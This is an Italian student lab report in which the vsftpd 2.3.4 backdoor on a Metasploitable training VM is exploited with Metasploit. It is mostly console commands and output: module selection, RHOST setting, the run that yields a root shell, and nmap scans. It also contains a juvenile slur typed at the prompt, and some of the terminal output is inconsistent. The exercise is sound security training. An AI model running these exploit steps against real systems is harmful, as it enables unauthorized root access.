

S7L1

Vi chiediamo di andare a exploitare la macchina Metasploitable sfruttando il servizio «vsftpd». Configurare l'indirizzo della vostra macchina Metasploitable come di seguito: 192.168.1.149/24. Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella test_metasploit. Mettere tutto su un report, spiegare cosa si intende per exploit, cos'è il protocollo attaccato, i vari step.

Per cominciare ci assicuriamo che le macchine possano comunicare fra di loro, fatto ciò possiamo cominciare con l'esercizio vero e proprio, ovvero eseguire l'exploit.

Utilizziamo il comando msfconsole

```
L-$ msfconsole

.:ok000kde'      'cdk000ko:
.x0000000000000c  c000000000000x.
:00000000000000k, ,k00000000000000:
'0000000000kkkk00000: :0000000000000000'
o00000000 .MMMM.o0000o0000l .MMMM.o0000000o
d00000000 .MMMMMMMM.c00000c .MMMMMMMM.o0000000x
l00000000 .MMMMMMMMMM.d:MMMMMMMMMM.o0000000l
.o0000000 .MMMA .MMMMMMMMMMMMMM .MMMM.o0000000.
c0000000 .MMMA o0c.MMMMMM.o00.MMM.o000000c
o0000000 .MMMA o000 .MMM:o000.MMM.o000000o
l000000 .MMMA o000 .MMM:o000.MMM.o0000l
;0000 .MMMA.o000 .MMM:o000.MMM.o000;
.d00o WM.o000o00000000.MX'x00d.
.kol M.o000000000000.M d0k,
:dk; .0000000000000.;0k;
;k00000000000000k:
,x0000000000000x,
.l0000000l.
.d0d,
.

[ metasploit v6.3.27-dev ]
+ -- --[ 2335 exploits - 1220 auxiliary - 413 post
+ -- --[ 1382 payloads - 46 encoders - 11 nops
+ -- --[ 9 evasion

Metasploit tip: View all productivity tips with the
tips command
Metasploit Documentation: https://docs.metasploit.com/

msf6 > angelo è gay
[-] Unknown command: angelo
msf6 > search angelogay vsftpd
[-] No results from search
msf6 > search vsftpd

Matching Modules
=====
```

Inseriamo un RHOSTS, ovvero l'indirizzo della macchina da attaccare, il servizio che andremo ad utilizzare per portare a termine il nostro attacco informatico è FTP (File Transfer Protocol) , come dice la parola stessa: un protocollo che viene utilizzato per il trasferimento di file

```
kali@kali: ~  
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution  
  
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor  
msf6 > Interrupt: use the 'exit' command to quit  
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > option  
[-] Unknown command: option  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options  
  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  


| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                               |
| CPORT   |                 | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                  |

  
Payload options (cmd/unix/interact):  


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|------|-----------------|----------|-------------|

  
Exploit target:  


| Id | Name      |
|----|-----------|
| 0  | Automatic |

  
PORT STATE SERVICE  
21/tcp open ftp  
22/tcp open ssh  
23/tcp open telnet?  
25/tcp open smtp?  
53/tcp open domain  
80/tcp open http  
111/tcp open rpcbind  
139/tcp open netbios  
445/tcp open netbios  
512/tcp open exec?  
513/tcp open login?  
514/tcp open shell?  
8080/tcp open java-rm  
1524/tcp open bindsh  
2049/tcp open nfs  
2121/tcp open ccproxy  
3306/tcp open mysql?  
5432/tcp open postgres  
5900/tcp open vnc  
6000/tcp open X11  
6667/tcp open irc  
8080/tcp open ajp13  
8180/tcp open http
```

Possiamo ora passare alla fase di exploit

```

Id  Name
--  ---
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST
RHOST =>
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.50.100
RHOST => 192.168.50.100
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.50.100:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.168.50.100:21).
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.50.101
RHOST => 192.168.50.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > EXPLOIT
[*] Unknown command: EXPLOIT
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Unknown command: exploit
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.50.101:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[*] 192.168.50.101:21 - Backdoor service has been spawned, handling...
[*] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:40945 -> 192.168.50.101:6200) at 2024-01-15 19:24:12 +0100

cd root
mkdir test_metasploit
cd
sh: line 8: cd: HOME not set
cd /root/
pwd
sh: line 10: pwd: command not found

```

```

kali@kali: ~
Nmap scan report for 192.168.50.101
Host is up (0.00093s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)

```